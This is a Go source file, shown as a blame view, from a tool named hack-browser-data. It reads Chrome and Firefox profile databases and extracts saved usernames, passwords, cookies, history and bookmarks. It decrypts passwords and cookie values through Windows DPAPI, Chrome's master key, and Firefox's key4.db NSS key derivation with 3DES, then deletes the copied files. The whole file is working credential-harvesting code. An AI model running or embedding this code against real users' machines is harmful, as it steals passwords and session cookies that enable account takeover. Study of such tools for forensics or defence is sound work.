You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
643 lines
14 KiB
643 lines
14 KiB
4 years ago
|
package common
|
||
5 years ago
|
|
||
|
import (
|
||
4 years ago
|
"bytes"
|
||
5 years ago
|
"database/sql"
|
||
4 years ago
|
"encoding/base64"
|
||
4 years ago
|
"hack-browser-data/core/decrypt"
|
||
5 years ago
|
"hack-browser-data/log"
|
||
|
"hack-browser-data/utils"
|
||
4 years ago
|
"io/ioutil"
|
||
4 years ago
|
"os"
|
||
4 years ago
|
"sort"
|
||
4 years ago
|
"time"
|
||
5 years ago
|
|
||
|
_ "github.com/mattn/go-sqlite3"
|
||
4 years ago
|
"github.com/tidwall/gjson"
|
||
5 years ago
|
)
|
||
|
|
||
4 years ago
|
const (
|
||
4 years ago
|
ChromePassword = "Login Data"
|
||
|
ChromeHistory = "History"
|
||
|
ChromeCookies = "Cookies"
|
||
|
ChromeBookmarks = "Bookmarks"
|
||
|
FirefoxCookie = "cookies.sqlite"
|
||
|
FirefoxKey4DB = "key4.db"
|
||
|
FirefoxLoginData = "logins.json"
|
||
|
FirefoxData = "places.sqlite"
|
||
|
FirefoxKey3DB = "key3.db"
|
||
4 years ago
|
)
|
||
|
|
||
4 years ago
|
type (
|
||
|
BrowserData struct {
|
||
|
Logins
|
||
|
Bookmarks
|
||
|
History
|
||
|
Cookies
|
||
|
}
|
||
|
Logins struct {
|
||
|
logins []loginData
|
||
|
}
|
||
|
Bookmarks struct {
|
||
|
bookmarks []bookmark
|
||
|
}
|
||
|
History struct {
|
||
|
history []history
|
||
|
}
|
||
|
Cookies struct {
|
||
|
cookies map[string][]cookies
|
||
|
}
|
||
4 years ago
|
)
|
||
|
|
||
5 years ago
|
type (
|
||
4 years ago
|
loginData struct {
|
||
4 years ago
|
UserName string
|
||
4 years ago
|
encryptPass []byte
|
||
4 years ago
|
encryptUser []byte
|
||
4 years ago
|
Password string
|
||
|
LoginUrl string
|
||
|
CreateDate time.Time
|
||
5 years ago
|
}
|
||
4 years ago
|
bookmark struct {
|
||
4 years ago
|
ID int64
|
||
4 years ago
|
Name string
|
||
|
Type string
|
||
4 years ago
|
URL string
|
||
|
DateAdded time.Time
|
||
5 years ago
|
}
|
||
4 years ago
|
cookies struct {
|
||
4 years ago
|
Host string
|
||
|
Path string
|
||
4 years ago
|
KeyName string
|
||
|
encryptValue []byte
|
||
|
Value string
|
||
|
IsSecure bool
|
||
|
IsHTTPOnly bool
|
||
|
HasExpire bool
|
||
|
IsPersistent bool
|
||
|
CreateDate time.Time
|
||
|
ExpireDate time.Time
|
||
5 years ago
|
}
|
||
4 years ago
|
history struct {
|
||
4 years ago
|
Title string
|
||
4 years ago
|
Url string
|
||
4 years ago
|
VisitCount int
|
||
|
LastVisitTime time.Time
|
||
5 years ago
|
}
|
||
|
)
|
||
|
|
||
4 years ago
|
const (
|
||
|
bookmarkID = "id"
|
||
|
bookmarkAdded = "date_added"
|
||
|
bookmarkUrl = "url"
|
||
|
bookmarkName = "name"
|
||
|
bookmarkType = "type"
|
||
|
bookmarkChildren = "children"
|
||
|
)
|
||
4 years ago
|
|
||
4 years ago
|
func (b *Bookmarks) ChromeParse(key []byte) error {
|
||
|
bookmarks, err := utils.ReadFile(ChromeBookmarks)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(ChromeBookmarks); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
r := gjson.Parse(bookmarks)
|
||
|
if r.Exists() {
|
||
|
roots := r.Get("roots")
|
||
|
roots.ForEach(func(key, value gjson.Result) bool {
|
||
4 years ago
|
getBookmarkChildren(value, b)
|
||
4 years ago
|
return true
|
||
|
})
|
||
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (l *Logins) ChromeParse(key []byte) error {
|
||
4 years ago
|
login := loginData{}
|
||
4 years ago
|
loginDB, err := sql.Open("sqlite3", ChromePassword)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(ChromePassword); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
5 years ago
|
defer func() {
|
||
4 years ago
|
if err := loginDB.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
5 years ago
|
}
|
||
|
}()
|
||
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
return err
|
||
5 years ago
|
}
|
||
4 years ago
|
err = loginDB.Ping()
|
||
4 years ago
|
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
|
||
4 years ago
|
rows, err := loginDB.Query(queryLogin)
|
||
5 years ago
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
5 years ago
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
4 years ago
|
url, username string
|
||
|
pwd, password []byte
|
||
|
create int64
|
||
5 years ago
|
)
|
||
4 years ago
|
err = rows.Scan(&url, &username, &pwd, &create)
|
||
4 years ago
|
login = loginData{
|
||
5 years ago
|
UserName: username,
|
||
4 years ago
|
encryptPass: pwd,
|
||
5 years ago
|
LoginUrl: url,
|
||
|
}
|
||
4 years ago
|
if key == nil {
|
||
|
password, err = decrypt.DPApi(pwd)
|
||
4 years ago
|
} else {
|
||
4 years ago
|
password, err = decrypt.ChromePass(key, pwd)
|
||
4 years ago
|
}
|
||
|
if create > time.Now().Unix() {
|
||
|
login.CreateDate = utils.TimeEpochFormat(create)
|
||
|
} else {
|
||
|
login.CreateDate = utils.TimeStampFormat(create)
|
||
|
}
|
||
|
|
||
4 years ago
|
login.Password = string(password)
|
||
5 years ago
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
5 years ago
|
}
|
||
4 years ago
|
l.logins = append(l.logins, login)
|
||
5 years ago
|
}
|
||
4 years ago
|
return nil
|
||
5 years ago
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) {
|
||
|
bm := bookmark{}
|
||
|
bm.ID = value.Get(bookmarkID).Int()
|
||
|
nodeType := value.Get(bookmarkType)
|
||
|
bm.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
|
||
|
bm.URL = value.Get(bookmarkUrl).String()
|
||
|
bm.Name = value.Get(bookmarkName).String()
|
||
|
children = value.Get(bookmarkChildren)
|
||
|
if nodeType.Exists() {
|
||
|
bm.Type = nodeType.String()
|
||
|
b.bookmarks = append(b.bookmarks, bm)
|
||
|
if children.Exists() && children.IsArray() {
|
||
|
for _, v := range children.Array() {
|
||
|
children = getBookmarkChildren(v, b)
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
return children
|
||
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (h *History) ChromeParse(key []byte) error {
|
||
|
data := history{}
|
||
|
historyDB, err := sql.Open("sqlite3", ChromeHistory)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(ChromeHistory); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := historyDB.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
err = historyDB.Ping()
|
||
|
var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
|
||
|
rows, err := historyDB.Query(queryHistory)
|
||
4 years ago
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
4 years ago
|
url, title string
|
||
|
visitCount int
|
||
|
lastVisitTime int64
|
||
4 years ago
|
)
|
||
4 years ago
|
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
|
||
|
data = history{
|
||
|
Url: url,
|
||
|
Title: title,
|
||
|
VisitCount: visitCount,
|
||
|
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
|
||
4 years ago
|
}
|
||
4 years ago
|
if err != nil {
|
||
|
log.Debug(err)
|
||
|
continue
|
||
4 years ago
|
}
|
||
4 years ago
|
h.history = append(h.history, data)
|
||
4 years ago
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (c *Cookies) ChromeParse(secretKey []byte) error {
|
||
|
cookie := cookies{}
|
||
|
c.cookies = make(map[string][]cookies)
|
||
|
cookieDB, err := sql.Open("sqlite3", utils.Cookies)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(utils.Cookies); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := cookieDB.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
err = cookieDB.Ping()
|
||
|
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
|
||
|
|
||
|
rows, err := cookieDB.Query(queryCookie)
|
||
4 years ago
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
4 years ago
|
key, host, path string
|
||
|
isSecure, isHTTPOnly, hasExpire, isPersistent int
|
||
|
createDate, expireDate int64
|
||
|
value, encryptValue []byte
|
||
4 years ago
|
)
|
||
4 years ago
|
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
|
||
|
cookie = cookies{
|
||
|
KeyName: key,
|
||
|
Host: host,
|
||
|
Path: path,
|
||
|
encryptValue: encryptValue,
|
||
|
IsSecure: utils.IntToBool(isSecure),
|
||
|
IsHTTPOnly: utils.IntToBool(isHTTPOnly),
|
||
|
HasExpire: utils.IntToBool(hasExpire),
|
||
|
IsPersistent: utils.IntToBool(isPersistent),
|
||
|
CreateDate: utils.TimeEpochFormat(createDate),
|
||
|
ExpireDate: utils.TimeEpochFormat(expireDate),
|
||
4 years ago
|
}
|
||
4 years ago
|
// remove prefix 'v10'
|
||
|
if secretKey == nil {
|
||
|
value, err = decrypt.DPApi(encryptValue)
|
||
|
} else {
|
||
|
value, err = decrypt.ChromePass(secretKey, encryptValue)
|
||
4 years ago
|
}
|
||
4 years ago
|
|
||
4 years ago
|
cookie.Value = string(value)
|
||
|
if _, ok := c.cookies[host]; ok {
|
||
|
c.cookies[host] = append(c.cookies[host], cookie)
|
||
|
} else {
|
||
|
c.cookies[host] = []cookies{cookie}
|
||
4 years ago
|
}
|
||
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (h *History) FirefoxParse() error {
|
||
|
var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places`
|
||
4 years ago
|
var (
|
||
4 years ago
|
err error
|
||
|
keyDB *sql.DB
|
||
|
historyRows *sql.Rows
|
||
|
tempMap map[int64]string
|
||
4 years ago
|
)
|
||
|
tempMap = make(map[int64]string)
|
||
4 years ago
|
keyDB, err = sql.Open("sqlite3", FirefoxData)
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(FirefoxData); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
defer func() {
|
||
|
err := keyDB.Close()
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
historyRows, err = keyDB.Query(queryFirefoxHistory)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
defer func() {
|
||
4 years ago
|
if err := historyRows.Close(); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
for historyRows.Next() {
|
||
4 years ago
|
var (
|
||
|
id, visitDate int64
|
||
|
url, title string
|
||
|
visitCount int
|
||
|
)
|
||
4 years ago
|
err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount)
|
||
4 years ago
|
h.history = append(h.history, history{
|
||
4 years ago
|
Title: title,
|
||
|
Url: url,
|
||
|
VisitCount: visitCount,
|
||
4 years ago
|
LastVisitTime: utils.TimeStampFormat(visitDate / 1000000),
|
||
4 years ago
|
})
|
||
|
tempMap[id] = url
|
||
|
}
|
||
4 years ago
|
return nil
|
||
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (b *Bookmarks) FirefoxParse() error {
|
||
|
var (
|
||
|
err error
|
||
|
keyDB *sql.DB
|
||
|
bookmarkRows *sql.Rows
|
||
|
tempMap map[int64]string
|
||
|
bookmarkUrl string
|
||
|
)
|
||
|
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
|
||
|
keyDB, err = sql.Open("sqlite3", FirefoxData)
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
return err
|
||
|
}
|
||
|
defer func() {
|
||
|
if err := os.Remove(FirefoxData); err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
|
||
|
defer func() {
|
||
|
if err := bookmarkRows.Close(); err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
for bookmarkRows.Next() {
|
||
|
var (
|
||
|
id, fk, bType, dateAdded int64
|
||
|
title string
|
||
|
)
|
||
|
err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title)
|
||
|
if url, ok := tempMap[id]; ok {
|
||
|
bookmarkUrl = url
|
||
|
}
|
||
4 years ago
|
b.bookmarks = append(b.bookmarks, bookmark{
|
||
4 years ago
|
ID: id,
|
||
|
Name: title,
|
||
|
Type: utils.BookMarkType(bType),
|
||
|
URL: bookmarkUrl,
|
||
|
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
|
||
|
})
|
||
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
|
||
4 years ago
|
|
||
4 years ago
|
func (c *Cookies) FirefoxParse() error {
|
||
|
cookie := cookies{}
|
||
|
c.cookies = make(map[string][]cookies)
|
||
|
cookieDB, err := sql.Open("sqlite3", FirefoxCookie)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(FirefoxCookie); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
defer func() {
|
||
|
if err := cookieDB.Close(); err != nil {
|
||
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
4 years ago
|
}()
|
||
|
err = cookieDB.Ping()
|
||
|
rows, err := cookieDB.Query(queryFirefoxCookie)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
defer func() {
|
||
4 years ago
|
if err := rows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
for rows.Next() {
|
||
4 years ago
|
var (
|
||
4 years ago
|
name, value, host, path string
|
||
|
isSecure, isHttpOnly int
|
||
|
creationTime, expiry int64
|
||
4 years ago
|
)
|
||
4 years ago
|
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
|
||
|
cookie = cookies{
|
||
|
KeyName: name,
|
||
|
Host: host,
|
||
|
Path: path,
|
||
|
IsSecure: utils.IntToBool(isSecure),
|
||
|
IsHTTPOnly: utils.IntToBool(isHttpOnly),
|
||
|
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
|
||
|
ExpireDate: utils.TimeStampFormat(expiry),
|
||
|
}
|
||
|
|
||
|
cookie.Value = value
|
||
|
if _, ok := c.cookies[host]; ok {
|
||
|
c.cookies[host] = append(c.cookies[host], cookie)
|
||
|
} else {
|
||
|
c.cookies[host] = []cookies{cookie}
|
||
4 years ago
|
}
|
||
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (l *Logins) FirefoxParse() error {
|
||
|
globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey()
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
|
||
4 years ago
|
meta, err := decrypt.DecodeMeta(metaBytes)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error("decrypt meta data failed", err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
var masterPwd []byte
|
||
4 years ago
|
m, err := decrypt.Meta(globalSalt, masterPwd, meta)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error("decrypt firefox failed", err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
if bytes.Contains(m, []byte("password-check")) {
|
||
4 years ago
|
log.Debugf("password-check success")
|
||
4 years ago
|
m := bytes.Compare(nssA102, keyLin)
|
||
4 years ago
|
if m == 0 {
|
||
4 years ago
|
nss, err := decrypt.DecodeNss(nssA11)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
log.Debugf("decrypt asn1 pbe success")
|
||
4 years ago
|
finallyKey, err := decrypt.Nss(globalSalt, masterPwd, nss)
|
||
4 years ago
|
finallyKey = finallyKey[:24]
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
return err
|
||
|
}
|
||
|
log.Debug("get firefox finally key success")
|
||
|
allLogins, err := getLoginData()
|
||
|
if err != nil {
|
||
|
return err
|
||
4 years ago
|
}
|
||
|
for _, v := range allLogins {
|
||
4 years ago
|
user, _ := decrypt.DecodeLogin(v.encryptUser)
|
||
|
pwd, _ := decrypt.DecodeLogin(v.encryptPass)
|
||
|
u, err := decrypt.Des3Decrypt(finallyKey, user.Iv, user.Encrypted)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
log.Debug("decrypt firefox success")
|
||
|
p, err := decrypt.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
l.logins = append(l.logins, loginData{
|
||
4 years ago
|
LoginUrl: v.LoginUrl,
|
||
4 years ago
|
UserName: string(decrypt.PKCS5UnPadding(u)),
|
||
|
Password: string(decrypt.PKCS5UnPadding(p)),
|
||
4 years ago
|
CreateDate: v.CreateDate,
|
||
|
})
|
||
4 years ago
|
|
||
4 years ago
|
}
|
||
4 years ago
|
}
|
||
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
|
||
|
var (
|
||
|
keyDB *sql.DB
|
||
|
pwdRows *sql.Rows
|
||
|
nssRows *sql.Rows
|
||
|
)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(utils.FirefoxKey4DB); err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := keyDB.Close(); err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
4 years ago
|
var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
|
||
|
var queryNssPrivate = `SELECT a11, a102 from nssPrivate`
|
||
|
err = keyDB.Ping()
|
||
|
pwdRows, err = keyDB.Query(queryPassword)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := pwdRows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
for pwdRows.Next() {
|
||
|
if err := pwdRows.Scan(&item1, &item2); err != nil {
|
||
|
log.Error(err)
|
||
|
continue
|
||
4 years ago
|
}
|
||
4 years ago
|
}
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
nssRows, err = keyDB.Query(queryNssPrivate)
|
||
|
defer func() {
|
||
|
if err := nssRows.Close(); err != nil {
|
||
|
log.Debug(err)
|
||
|
}
|
||
|
}()
|
||
|
for nssRows.Next() {
|
||
|
if err := nssRows.Scan(&a11, &a102); err != nil {
|
||
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}
|
||
4 years ago
|
return item1, item2, a11, a102, nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func getLoginData() (l []loginData, err error) {
|
||
|
s, err := ioutil.ReadFile(FirefoxLoginData)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
return nil, err
|
||
4 years ago
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := os.Remove(FirefoxLoginData); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
h := gjson.GetBytes(s, "logins")
|
||
|
if h.Exists() {
|
||
|
for _, v := range h.Array() {
|
||
|
var (
|
||
4 years ago
|
m loginData
|
||
4 years ago
|
u []byte
|
||
|
p []byte
|
||
|
)
|
||
4 years ago
|
m.LoginUrl = v.Get("formSubmitURL").String()
|
||
4 years ago
|
u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
|
||
|
m.encryptUser = u
|
||
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
|
||
|
m.encryptPass = p
|
||
4 years ago
|
m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000)
|
||
4 years ago
|
l = append(l, m)
|
||
|
}
|
||
|
}
|
||
|
return
|
||
|
}
|
||
4 years ago
|
|
||
|
func (b *BrowserData) Sorted() {
|
||
|
sort.Slice(b.bookmarks, func(i, j int) bool {
|
||
|
return b.bookmarks[i].ID < b.bookmarks[j].ID
|
||
|
})
|
||
|
sort.Slice(b.history, func(i, j int) bool {
|
||
|
return b.history[i].VisitCount > b.history[j].VisitCount
|
||
|
})
|
||
|
sort.Sort(b.Logins)
|
||
|
}
|
||
|
|
||
|
func (l Logins) Len() int {
|
||
|
return len(l.logins)
|
||
|
}
|
||
|
|
||
|
func (l Logins) Less(i, j int) bool {
|
||
|
return l.logins[i].CreateDate.After(l.logins[j].CreateDate)
|
||
|
}
|
||
|
|
||
|
func (l Logins) Swap(i, j int) {
|
||
|
l.logins[i], l.logins[j] = l.logins[j], l.logins[i]
|
||
|
}
|
||
|
|
||
|
type Formatter interface {
|
||
|
ChromeParse(key []byte) error
|
||
|
FirefoxParse() error
|
||
|
OutPutJson(browser, dir string) error
|
||
|
OutPutCsv(browser, dir string) error
|
||
|
}
|